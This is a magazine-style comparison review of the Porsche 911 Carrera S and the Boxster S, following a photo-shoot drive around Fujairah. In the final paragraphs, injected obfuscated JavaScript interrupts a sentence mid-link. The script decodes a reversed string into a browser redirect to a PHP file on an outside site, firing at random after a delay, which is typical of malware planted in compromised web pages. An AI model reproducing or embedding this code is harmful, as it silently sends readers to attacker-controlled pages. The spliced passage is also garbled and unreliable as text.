Porsche. 911 Carrera S vs. Boxster S. A Family Outing

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By the time we’re back on the move again, it’s approaching lunchtime, and the Fujairah traffic has really picked up. In the Boxster, the combination of the collapsible canvas roof – which we discovered with a quick test while filling up folds down in a ridiculously quick 12s – and no rear passenger windows means rear visibility is not brilliant. It is consequently with slightly whitened knuckles that I make lane changes in the stop-start traffic, hoping the heart-wrenching grind of metal on metal appears. I also wonder, having been tremendously cautious when reversing out of my parking space at the garage, why there’s no rear-parking camera.

It’s not too long before the guys’ keen photographic sixth senses have scouted a location: an almost completely deserted stretch of desert landscape save for one rogue portacabin whose purpose we’re somewhat mystified by. Just behind that is a beautiful stretch of rocky mountain range, a vista the guys are very happy to play with.

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This also gives me an ideal opportunity to eyeball each model side-by-side. There’s no doubt that the 911 is a superb looking design, the DNA of which has clearly been infused deep into the Boxster’s metalwork. Both convertibles are a mesh of sleek, sweeping body contours, elongated headlights and cheekily butch air intakes: both look agile yet simultaneously racey. It has to be said though – in my eyes anyway – that while the 911 looks at its finest as a coupe, the Boxster looks its best with the roof down. The eye doesn’t play tricks, as it can do, and make the bodylines appear longer, and this is aided immensely by the Boxster’s rear spoiler drawing focus. It may lose the Top Trumps battle in terms of horsepower and top speed to the 911, but visually it may just sneak it.

Soon we’re reversing the cars here, parking up there, changing angles over there and rotating that to here, so that within an hour or so the guys have all the shots they need. Our enthusiasm has rather made us forget the harsh afternoon sunlight, though unfortunately our ever-reddening forearms have not. It’s now turned 4pm and we deem it best to call it a day.

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It’s my turn to take point duty in the 911 now, and even though I have driven the car before, the excitement is still there.

Climbing aboard the Carrera, Beige now becomes Black and the sporting connotations are clear to see. Alongside the PDK gearlever there’s a Sport+ button, access to the traction control and the option to lower or raise the rear spoiler, though in fairness this is also available on the Boxster. The seating position though is lower, more hunkered down, and feel is much more orientated towards speed and precision. There’s also the extra two seats, and plenty of space, though unfortunately my wallet and phone take up their positions once again on the passenger seat.

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I’m hit by the sound of all 400-horses neighing angrily in unison, and I can’t help but smile. Unlike the Boxster, the 911 has keyless start, which leads to a mildly embarrassing moment for both myself and John – now driving the Boxster with Moe – when we realize he still has the key in his pocket. Cue a worrying few minutes on the main drag out of Fujairah while we hunt for a place to pull over.

I don’t bother with the default ‘comfort’ mode in the 911, and decide to leave the Cabriolet in Sport+ (which disables seventh gear) for the duration of the journey. The ride, despite the now stiffer suspension and more aggressive engine mapping in S+ mode, is still comfortable, there’s plenty of leg and headroom, and visibility – although still not superb – is still plentiful mean I’m ready to take the Carrera by the scruff of the neck and see what it can do. At 120kph, naturally.

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‘Sport+’ pops up on a slim screen built into one of the steering wheel arms as I press the relevant button on the centre console, a little detail I’m particularly keen on. And, of course, I’ve made sure the PDK dual exhaust system – which comes as part of the Sport Chrono package – is on so that the pulsating sounds of the 3.8l boxer burble can resonate through the cabin as we climb through the mountains.

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By this point I’ve put my foot down and temporarily left the guys behind so that I can get my fill of the Carrera S. Steering is nice and light yet at the same time taut and agile: though there’s numerous driver assistance systems included in the 911 to ensure I don’t end up against the rock face, I still feel like I’m putting in my share of the work thanks to the feel through the front tyres. I drop a gear – yep, instantaneous – and depress the accelerator a little harder. Here comes the noise, past goes the landscape, and ever tighter do the front wheels grip the asphalt, seemingly never interested in letting go. It’s quite remarkable.

I’m begrudgingly called back in so that the Moe and John can get a few more motion shots before the cameras are put to bed. There are moments when, just out of idle curiosity, we try a quick blast to see the difference in speed. The red and the blue car may have had a race – won obviously by the red car – but the result was closer than you might think.

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There’s still a long way to go back to Dubai, so we decide to pull over for another precautionary refuel. It’s nearly 5pm. It’s been a long day, and a long drive. But even though home is still not in sight, I’ve already made up my mind which Porsche has won me over today. And as I voice this opinion to the guys over a Snickers bar and a can of $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/red-bull-tv/” target=”_blank”>Red Bull, it turns out they have too.

So, which one will they be dreaming fondly of tonight? Moe’s a 911 man through-and-through, so his conclusion is hardly earth-shattering. Similarly John, who’s immensely enjoyed his time giving the Carrera’s right pedal some punishment, has also thrown his hat into the 911 corner.

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And me? Well that’s a tricky one. It’s difficult to ignore the power, the poise and ‘that noise’ exemplified so masterfully by the Porsche Carrera S, and I’m looking forward to throwing the Cabriolet into and out of some more sweeping highway off-ramps during the remainder of our journey. But then I keep being pulled back to the little blue tike standing beside its big brother. There’s still poise, balance, speed and drama in the Porsche Boxster S, but just not as much as the 911. By its very nature there was never going to be, true, but that still didn’t stop us wondering if (or indeed where) the line in the sand between the two had shifted.

For me then, it all comes down to one thing: to ignore the speed and the balance in the 911 Carrera S is difficult; to ignore it in the Boxster S is impossible.

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